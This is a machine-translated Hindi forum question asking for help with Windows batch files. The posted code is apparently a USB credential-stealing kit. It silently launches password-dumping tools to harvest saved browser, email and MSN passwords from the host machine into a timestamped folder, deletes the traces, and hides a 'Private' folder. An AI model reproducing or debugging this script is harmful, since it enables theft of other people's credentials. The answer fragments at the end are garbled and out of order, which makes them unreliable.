मुझे पता चला है कि कोड का कौन सा भाग ऐसा कर रहा है, लेकिन यह नहीं पता कि इसे कैसे ठीक किया जाए ... यहाँ कोड है:
Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
)
बैच वह करता है जो इसे ठीक दूसरे पर करने के लिए होता है जिसे निष्पादित किया जाता है लेकिन cmd विंडो 46 सेकंड के लिए खुली रहती है और फिर क्विट हो जाती है (क्योंकि मैं टास्ककिल / IM cmd.exe चला गया)।
कृपया सहायता कीजिए!
अनुलेख यदि आप चाहते हैं कि मैं सभी कोड (जो बहुत है) पोस्ट करूं तो मैं करूंगा। मुझे इसे समझाने में समस्या हो सकती है लेकिन मैं अपनी तरफ से पूरी कोशिश करूंगा।
सभी कोड इस प्रकार है:
मैं Pre-Unhide.bat शुरू करता हूं (यहां कोई समस्या नहीं)
@echo off cd /d %~d0\ cd SwIPer start /min Start.bat cd.. call Unhide.bat
Start.bat यह है:
@echo off for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO ( set CUR_DAY_OF_WEEK=%%i set CUR_MONTH=%%j set CUR_DAY=%%k set CUR_YEAR=%%l) for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO ( set CUR_HOUR=%%i set CUR_MIN=%%j set AM_PM=%%k) cd /d %~d0\ cd %~d0\SwIPer md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" start /min iepv /stext IExplorer.txt start /min mailpv /stext Mail.txt start /min mspass /stext MSN.txt start /min WebBrowserPassView /stext AllBrowsers.txt echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" del IExplorer.txt del Mail.txt del MSN.txt del AllBrowsers.txt
फिर Pre-Unhide.bat आगे बढ़ता है और Unhide.bat को कॉल करता है
@echo off Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* )
(फिर इसे इसलिए जोड़ा क्योंकि मैं चाहता हूं कि इसे छोड़ने के लिए मजबूर किया जाए लेकिन अभी भी इसे छोड़ने के लिए 46 सेकंड इंतजार करना पड़ रहा है)
taskkill /IM cmd.exe
मदद बहुत सराहना की है :) धन्यवाद।
<letter>:
, उदा। E:
। वास्तव में, cd E:\
गलत है, यह होना चाहिए cd \d E:\
चूंकि आप ड्राइव बदल रहे हैं। उस विशेष चर के साथ, यह होगा cd /d %~d0\
, कि पूरी सूची की जगह if
रों।
Start.bat
अभी भी चल रहा है, प्रसंस्करण, जब हो सकता हैUnhide.bat
शुरू होता है। दूसरी बात, अगर आपकी बैच फाइलें इस ड्राइव पर हैं, तो उपयोग करें%~d0
ड्राइव की ड्राइव अक्षर पाने के लिए बैच फ़ाइल चालू है .. उस सूची की नहींif
एस, जो वास्तव में यदि संभव हो तो बचा जाना चाहिए। मैंने देखा है कि हटाने योग्य ड्राइव को सौंपा गया हैD:
, आंतरिक हार्ड ड्राइव को सौंपाE:
, आदि यह मान लेना सुरक्षित नहीं है कि आप शुरू करने से पहले आते हैंE:
वही हटाने योग्य ड्राइव होगा।